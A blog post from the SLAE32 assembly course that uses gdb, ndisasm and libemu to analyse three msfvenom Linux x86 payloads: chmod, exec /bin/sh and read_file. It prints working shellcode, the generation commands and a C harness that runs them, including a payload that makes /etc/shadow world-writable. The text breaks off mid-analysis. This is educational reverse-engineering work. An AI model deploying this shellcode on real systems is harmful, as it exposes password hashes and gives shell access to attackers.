SLAE32 - Assignment #5 - Analysis of msfvenom payloads
Introduction
This is the blog post for the 5th Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.
The purpose of this assignment is to analyze 3 different payloads generated by msfvenom
, which is a Metasploit standalone payload generator and has replaced msfpayload
and msfencode
. In order to explore the available 32-bit Linux payloads the following command must be executed: msfvenom -l payloads | grep "linux/x86"
. The table below is used to navigate to each analysis and provides the description of each payload.
Msfvenom payload | Description | Size |
---|---|---|
linux/x86/chmod | Runs chmod on specified file with specified mode | 36 |
linux/x86/exec | Execute an arbitrary coommand or just a /bin/sh shell | 20 |
linux/x86/read_file | Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor | 62 |
My code can be found in my Github: geobour98’s Github.
Analyzing shellcode
3 different ways of analyzing shellcode were described in the course. These are: gdb
, ndisasm
and libemu
. gdb
is the GNU debugger and allows us to see what is going on “inside” another program while it executes. ndisasm
is the Netwide Disassembler, an 80x86 binary file disassembler, that generates a disassembly listing of the binary file infile and directs it to stdout. libemu
is a library which can be used for x86 emulation and shellcode detection.
The process that is followed for each payload is that the shellcode is extracted first and then it is tested in the file shellcode.c
, as shown in previous blog posts. After that, one of the above ways is used to analyze the shellcode.
linux/x86/chmod
The payload linux/x86/chmod
is used to run chmod
on specified file with specified mode.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ msfvenom -p linux/x86/chmod --list-options
Options for payload/linux/x86/chmod:
=========================
Name: Linux Chmod
Module: payload/linux/x86/chmod
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
Advanced options for payload/linux/x86/chmod:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x86/chmod:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
The option that we change is the following: MODE
. We want it to be 0777
instead of 0666
. The targeted FILE
is /etc/shadow
. By default, /etc/shadow
has permissions 0640
in octal. That means that the owner can read and write to the file and any member that belongs to the group can read the file. By changing the permissions to 0777
it means that anyone can read, write or modify that file.
The following command utilizes the chmod
payload, changes the MODE
to 0777
and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
10
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ msfvenom -p linux/x86/chmod MODE=0777 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63"
"\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63"
"\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}
Now we need to compile the program, by disabling the stack protection as well as making the stack executable:
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
. We also check the permissions of /etc/shadow
before and after the execution.
1
2
3
4
5
6
7
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1298 Μάρ 31 20:04 /etc/shadow
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ sudo ./shellcode
[sudo] password for geobour98:
Shellcode Length: 7
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1298 Μάρ 31 20:04 /etc/shadow
Now that we know the payload is working, we can start analyzing it with gdb
. Run shellcode
on gdb
and don’t print version number on startup:
1
2
3
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb)
By default, gdb
disassembles each program in AT&T
syntax of Assembly
. In order to change it to Intel
syntax and make it more readable we run the following command:
1
(gdb) set disassembly-flavor intel
Now can set a breakpoint at the shellcode (buf
variable) by first finding its address. Then we can run and disassemble in order to see the instructions at that point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(gdb) print/x &buf
$1 = 0x804a040
(gdb) break *0x804a040
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/1_chmod/shellcode
Shellcode Length: 7
Breakpoint 1, 0x0804a040 in buf ()
(gdb) disassemble
Dump of assembler code for function buf:
=> 0x0804a040 <+0>: cdq
0x0804a041 <+1>: push 0xf
0x0804a043 <+3>: pop eax
0x0804a044 <+4>: push edx
0x0804a045 <+5>: call 0x804a056 <buf+22>
0x0804a04a <+10>: das
0x0804a04b <+11>: gs je 0x804a0b1
0x0804a04e <+14>: das
0x0804a04f <+15>: jae 0x804a0b9
0x0804a051 <+17>: popa
0x0804a052 <+18>: outs dx,DWORD PTR fs:[esi]
0x0804a054 <+20>: ja 0x804a056 <buf+22>
0x0804a056 <+22>: pop ebx
0x0804a057 <+23>: push 0x1ff
0x0804a05c <+28>: pop ecx
0x0804a05d <+29>: int 0x80
0x0804a05f <+31>: push 0x1
0x0804a061 <+33>: pop eax
0x0804a062 <+34>: int 0x80
0x0804a064 <+36>: add BYTE PTR [eax],al
End of assembler dump.
The hex value 0xf
(15
in decimal) is pushed to the stack and then is popped and saved to EAX
register. Since the syscall number is saved in EAX
register, we can identify from the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h
that the syscall with number 15
is for chmod
(#define __NR_chmod 15
).
1
2
0x0804a041 <+1>: push 0xf
0x0804a043 <+3>: pop eax
Then, we can see the prototype of the chmod
function from the manual page (man 2 chmod
) and verify that it expects the pathname
and the mode
:
1
int chmod(const char *pathname, mode_t mode);
The chmod
syscall is going to be executed after int 0x80
instruction at 0x0804a05d
. So, we can put another breakpoint there, continue through the code and disassemble again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) break *0x0804a05d
Breakpoint 2 at 0x804a05d
(gdb) c
Continuing.
Breakpoint 2, 0x0804a05d in buf ()
(gdb) disassemble
Dump of assembler code for function buf:
0x0804a040 <+0>: cdq
0x0804a041 <+1>: push 0xf
0x0804a043 <+3>: pop eax
0x0804a044 <+4>: push edx
0x0804a045 <+5>: call 0x804a056 <buf+22>
0x0804a04a <+10>: das
0x0804a04b <+11>: gs je 0x804a0b1
0x0804a04e <+14>: das
0x0804a04f <+15>: jae 0x804a0b9
0x0804a051 <+17>: popa
0x0804a052 <+18>: outs dx,DWORD PTR fs:[esi]
0x0804a054 <+20>: ja 0x804a056 <buf+22>
0x0804a056 <+22>: pop ebx
0x0804a057 <+23>: push 0x1ff
0x0804a05c <+28>: pop ecx
=> 0x0804a05d <+29>: int 0x80
0x0804a05f <+31>: push 0x1
0x0804a061 <+33>: pop eax
0x0804a062 <+34>: int 0x80
0x0804a064 <+36>: add BYTE PTR [eax],al
End of assembler dump.
Now the most interesting parts for us are the values of EBX
and ECX
registers, since they should contain the values for the pathname
, the file we want to change permissions, and the mode
, the new permissions. At this point we can display the contents of the registers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax 0xf 15
ecx 0x1ff 511
edx 0x0 0
ebx 0x804a04a 134520906
esp 0xbfffedb8 0xbfffedb8
ebp 0xbfffedd8 0xbfffedd8
esi 0xb7fbb000 -1208242176
edi 0xb7fbb000 -1208242176
eip 0x804a05d 0x804a05d <buf+29>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Now for the EBX
we can examine the next 15 characters after the memory of EBX
.
1
2
3
(gdb) x/15c 0x804a04a
0x804a04a <buf+10>: 47 '/' 101 'e' 116 't' 99 'c' 47 '/' 115 's' 104 'h' 97 'a'
0x804a052 <buf+18>: 100 'd' 111 'o' 119 'w' 0 '\000' 91 '[' 104 'h' -1 '\377'
We can clearly see that the string “/etc/shadow” is contained there and is also null terminated. So the target file of the chmod
syscall is the /etc/shadow
as expected. Now we are done with pathname
.
Next, for the ECX
we see that it has the hex value 0x1ff
, which is 777
in octal, again as expected.
1
ecx 0x1ff 511
Now the chmod
syscall is ready for execution but there is another int 0x80
instruction, meaning there is another syscall to be executed.
The value 1
is pushed to the stack and then is popped and saved to EAX
register. According to the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h
again the syscall with number 1
is for exit
(#define __NR_exit 1
).
1
2
0x0804a05f <+31>: push 0x1
0x0804a061 <+33>: pop eax
The prototype of the exit
function from its manual page (man exit
) reveals that only one argument is needed (status
) and it has no importance for us since this value is just returned to the parent. So, it doesn’t have to be set.
1
void exit(int status);
Finally, we can set a breakpoint at the final int 0x80
isntruction at 0x0804a062
, continue through the code and disassemble. What matters is the value of the EAX
register, which is 1
as expected for the exit
syscall.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
(gdb) break *0x0804a062
Breakpoint 3 at 0x804a062
(gdb) c
Continuing.
Breakpoint 3, 0x0804a062 in buf ()
(gdb) disassemble
Dump of assembler code for function buf:
0x0804a040 <+0>: cdq
0x0804a041 <+1>: push 0xf
0x0804a043 <+3>: pop eax
0x0804a044 <+4>: push edx
0x0804a045 <+5>: call 0x804a056 <buf+22>
0x0804a04a <+10>: das
0x0804a04b <+11>: gs je 0x804a0b1
0x0804a04e <+14>: das
0x0804a04f <+15>: jae 0x804a0b9
0x0804a051 <+17>: popa
0x0804a052 <+18>: outs dx,DWORD PTR fs:[esi]
0x0804a054 <+20>: ja 0x804a056 <buf+22>
0x0804a056 <+22>: pop ebx
0x0804a057 <+23>: push 0x1ff
0x0804a05c <+28>: pop ecx
0x0804a05d <+29>: int 0x80
0x0804a05f <+31>: push 0x1
0x0804a061 <+33>: pop eax
=> 0x0804a062 <+34>: int 0x80
0x0804a064 <+36>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) info registers
eax 0x1 1
ecx 0x1ff 511
edx 0x0 0
ebx 0x804a04a 134520906
esp 0xbfffedb8 0xbfffedb8
ebp 0xbfffedd8 0xbfffedd8
esi 0xb7fbb000 -1208242176
edi 0xb7fbb000 -1208242176
eip 0x804a062 0x804a062 <buf+34>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
The analysis of the linux/x86/chmod
payload is over and the shellcode is working!
linux/x86/exec
The payload linux/x86/exec
is used to execute an arbitrary command or just a /bin/sh
shell.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ msfvenom -p linux/x86/exec --list-options
Options for payload/linux/x86/exec:
=========================
Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 20
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Geyslan G. Bem <geyslan@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no The command string to execute
Description:
Execute an arbitrary command or just a /bin/sh shell
Advanced options for payload/linux/x86/exec:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
NullFreeVersion false yes Null-free shellcode version
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x86/exec:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
An arbitrary command could be set in CMD
option, but if it isn’t provided then the /bin/sh
shell is going to be executed.
So the following command utilizes the exec
payload and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ msfvenom -p linux/x86/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 20 bytes
Final size of c file: 110 bytes
unsigned char buf[] =
"\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62"
"\x69\x6e\x89\xe3\xcd\x80";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62"
"\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}
Now we need to compile the program:
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
. The commands id
and ls
are executed in the /bin/sh
shell.
1
2
3
4
5
6
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ ./shellcode
Shellcode Length: 10
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
shellcode shellcode.c
ndisasm
Now that we know the payload is working, we can start analyzing it with ndisasm
. With the following command the shellcode of the previous msfvenom
command is passed to ndisasm
and the processor mode is 32-bit:
1
2
3
4
5
6
7
8
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 F7E1 mul ecx
00000004 B00B mov al,0xb
00000006 682F736800 push dword 0x68732f
0000000B 682F62696E push dword 0x6e69622f
00000010 89E3 mov ebx,esp
00000012 CD80 int 0x80
We first notice that ECX
register is cleared and a multiplication instruction happens between the contents of ECX
and the contents of EAX
. The upper 32 bits of the product are stored in EDX
and the lower 32 bits in EAX
. The product is 0
here, so basically the EAX
is cleared.
1
2
00000000 31C9 xor ecx,ecx
00000002 F7E1 mul ecx
Then, the hex value 0xb
(11
in decimal) is passed to AL
. From the unistd_32.h
header file we can identify that the syscall with number 11
is execve
(#define __NR_execve 11
) as expected.
1
00000004 B00B mov al,0xb
According to the prototype of the execve
function 3 arguments are expected, but it can work by only providing the filename
and ignoring the others to be set as NULL
.
1
int execve(const char *filename, char *const argv[], char *const envp[]);
We can verify that the string pushed to the stack is “/bin/sh”, by using again the Python
script reverse.py
, which is the following:
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length: ' + str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1]:
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We can run the Python
script with the string “/bin/sh”:
1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ ./reverse.py "/bin/sh"
String length: 7
hs/ : 68732f
nib/ : 6e69622f
The output of this script is exactly the same as the values that are pushed to the stack.
1
2
3
00000006 682F736800 push dword 0x68732f
0000000B 682F62696E push dword 0x6e69622f
00000010 89E3 mov ebx,esp
Now EBX
points at the top of the stack and we are sure that /bin/sh
is going to be executed from the last instruction:
1
00000012 CD80 int 0x80
The analysis with ndisasm
is over and we can analyze the same payload with gdb
to view it from another perspective.
gdb
We load shellcode
on gdb
, set a breakpoint at the buf
variable, run and disassemble:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &buf
$1 = 0x804a020
(gdb) break *0x804a020
Breakpoint 1 at 0x804a020
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec/shellcode
Shellcode Length: 10
Breakpoint 1, 0x0804a020 in buf ()
(gdb) disassemble
Dump of assembler code for function buf:
=> 0x0804a020 <+0>: xor ecx,ecx
0x0804a022 <+2>: mul ecx
0x0804a024 <+4>: mov al,0xb
0x0804a026 <+6>: push 0x68732f
0x0804a02b <+11>: push 0x6e69622f
0x0804a030 <+16>: mov ebx,esp
0x0804a032 <+18>: int 0x80
0x0804a034 <+20>: add BYTE PTR [eax],al
End of assembler dump.
From the disassemble we can see the same instructions as with ndisasm
. So now we put another breakpoint before the syscall is executed at 0x0804a032
and we check the contents of the registers at that point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) break *0x0804a032
Breakpoint 2 at 0x804a032
(gdb) c
Continuing.
Breakpoint 2, 0x0804a032 in buf ()
(gdb) info registers
eax 0xb 11
ecx 0x0 0
edx 0x0 0
ebx 0xbfffee14 -1073746412
esp 0xbfffee14 0xbfffee14
ebp 0xbfffee38 0xbfffee38
esi 0xb7fbb000 -1208242176
edi 0xb7fbb000 -1208242176
eip 0x804a032 0x804a032 <buf+18>
eflags 0x206 [ PF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
We verify that the syscall number is 11
in EAX
and we can examine the contents of the memory of EBX
(10 characters).
1
2
3
(gdb) x/10c 0xbfffee14
0xbfffee14: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\000'
0xbfffee1c: 121 'y' -124 '\204'
Again we can see the string “/bin/sh”. With the next instruction the syscall gets executed.
libemu
We can also analyze the shellcode with libemu
. With the following command we pass the shellcode in raw format to the executable sctest
of the libemu
library. The output is very verbose (-vvv
), the shellcode is read from stdin (-S
), the max number of steps to run is a very large number to cover everything (-s 100000
) and we save the output in a dot formatted callgraph in filepath (-G
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
geobour98@slae32-dev:~/libemu/tools/sctest$ msfvenom -p linux/x86/exec -f raw | sudo ./sctest -vvv -Ss 100000 -G exec_shellcode.dot
graph file exec_shellcode.dot
verbose = 3
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 20 bytes
<snip>
int execve (
const char * dateiname = 0x00416fc6 =>
= "/bin/sh";
const char * argv[] = [
= 0xffffffff =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
Now we need to convert the graph file to a png.
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/2_exec$ dot exec_shellcode.dot -Tpng -o exec_shellcode.png
The generated image shows what has been described previously.
The analysis of the linux/x86/exec
payload is over and the shellcode is working!
linux/x86/read_file
The payload linux/x86/read_file
is used to read up to 4096 bytes from the local file system and write it back out to the specified file descriptor.
The next command shows the available options for this payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ msfvenom -p linux/x86/read_file --list-options
Options for payload/linux/x86/read_file:
=========================
Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
Advanced options for payload/linux/x86/read_file:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x86/read_file:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
The option FD
is the file descriptor to write output to, so we don’t change its value since we need STDOUT
(value 1
) to read the contents of the file on the screen. We change the PATH
option, which is the file path to read, to /etc/passwd
, so the first 4096 bytes of that file will be written to the specified file descriptor.
So the following command utilizes the read_file
payload and outputs the shellcode in C
format.
1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ msfvenom -p linux/x86/read_file PATH=/etc/passwd -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 334 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3"
"\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00"
"\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00"
"\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73"
"\x77\x64\x00";
Now we can paste the extracted shellcode in the file shellcode.c
. So, the whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3"
"\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00"
"\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00"
"\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73"
"\x77\x64\x00";
main()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}
Now we need to compile the program:
1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
In order to verify that the payload is working we must execute shellcode
.
1
2
3
4
5
6
7
8
9
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ ./shellcode
Shellcode Length: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<snip>
geobour98:x:1000:1000:George Bourlakis,,,:/home/geobour98:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
Now that we know the payload is working, we can start analyzing it with gdb
. Change to Intel
syntax, set a breakpoint at the shellcode (buf
variable), run and disassemble.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
geobour98@slae32-dev:~/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &buf
$1 = 0x804a040
(gdb) break *0x804a040
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE32/5_Msfvenom_payloads/3_read_file/shellcode
Shellcode Length: 4
Breakpoint 1, 0x0804a040 in buf ()
(gdb) disassemble
Dump of assembler code for function buf:
=> 0x0804a040 <+0>: jmp 0x804a078 <buf+56>
0x0804a042 <+2>: mov eax,0x5
0x0804a047 <+7>: pop ebx
0x0804a048 <+8>: xor ecx,ecx
0x0804a04a <+10>: int 0x80
0x0804a04c <+12>: mov ebx,eax
0x0804a04e <+14>: mov eax,0x3
0x0804a053 <+19>: mov edi,esp
0x0804a055 <+21>: mov ecx,edi
0x0804a057 <+23>: mov edx,0x1000
0x0804a05c <+28>: int 0x80
0x0804a05e <+30>: mov edx,eax
0x0804a060 <+32>: mov eax,0x4
0x0804a065 <+37>: mov ebx,0x1
0x0804a06a <+42>: int 0x80
0x0804a06c <+44>: mov eax,0x1
0x0804a071 <+49>: mov ebx,0x0
0x0804a076 <+54>: int 0x80
0x0804a078 <+56>: call 0x804a042 <buf+2>
0x0804a07d <+61>: das
0x0804a07e <+62>: gs je 0x804a0e4
0x0804a081 <+65>: das
0x0804a082 <+66>: jo 0x804a0e5
0x0804a084 <+68>: jae 0x804a0f9
0x0804a086 <+70>: ja 0x804a0ec
0x0804a088 <+72>: add BYTE PTR [eax],al
End of assembler dump.
We notice 4 different syscalls getting executed. We can identify that from the instructions: int 0x80
.
Syscall #1
According to the header file: unistd_32.h
the syscall with number 5
is open
(#define __NR_open 5
). open
just opens a file. Its manual page (man 2 open
) reveals that it needs 2 arguments: pathname
and flags
. The jmp
instruction jumps at 0x804a078
, where the instruction call
calls back at 0x0804a042
. The call
instruction also pushes the address of the next address (0x0804a07d
) to the stack. So, when the instruction pop
happens the value from the stack is stored in EBX
. We can examine that memory address and see that the string “/etc/passwd” is there. That is the value for the pathname
. Then, the ECX
register is cleared, so the flags
will have value 0
. After that, the syscall open
gets executed.
Instructions:
1
2
3
4
5
=> 0x0804a040 <+0>: jmp 0x804a078 <buf+56>
0x0804a042 <+2>: mov eax,0x5
0x0804a047 <+7>: pop ebx
0x0804a048 <+8>: xor ecx,ecx
0x0804a04a <+10>: int 0x80
Memory examination (EBX
):
1
2
3
(gdb) x/15c 0x0804a07d
0x804a07d <buf+61>: 47 '/' 101 'e' 116 't' 99 'c' 47 '/' 112 'p' 97 'a' 115 's'
0x804a085 <buf+69>: 115 's' 119 'w' 100 'd' 0 '\000' 0 '\000' 0 '\000' 0 '\000'
We can set a breakpoint before the execution of the syscall and examine the registers.
1
2
3
4
5
6
7
8
9
10
11
(gdb) break *0x0804a04a
Breakpoint 2 at 0x804a04a
(gdb) c
Continuing.
Breakpoint 2, 0x0804a04a in buf ()
(gdb) info registers
eax 0x5 5
ecx 0x0 0
edx 0xb7fbc870 -1208235920
ebx 0x804a07d 134520957
The values of the registers are the expected ones.
Syscall #2
The syscall number 3
is read
(#define __NR_read 3
). read
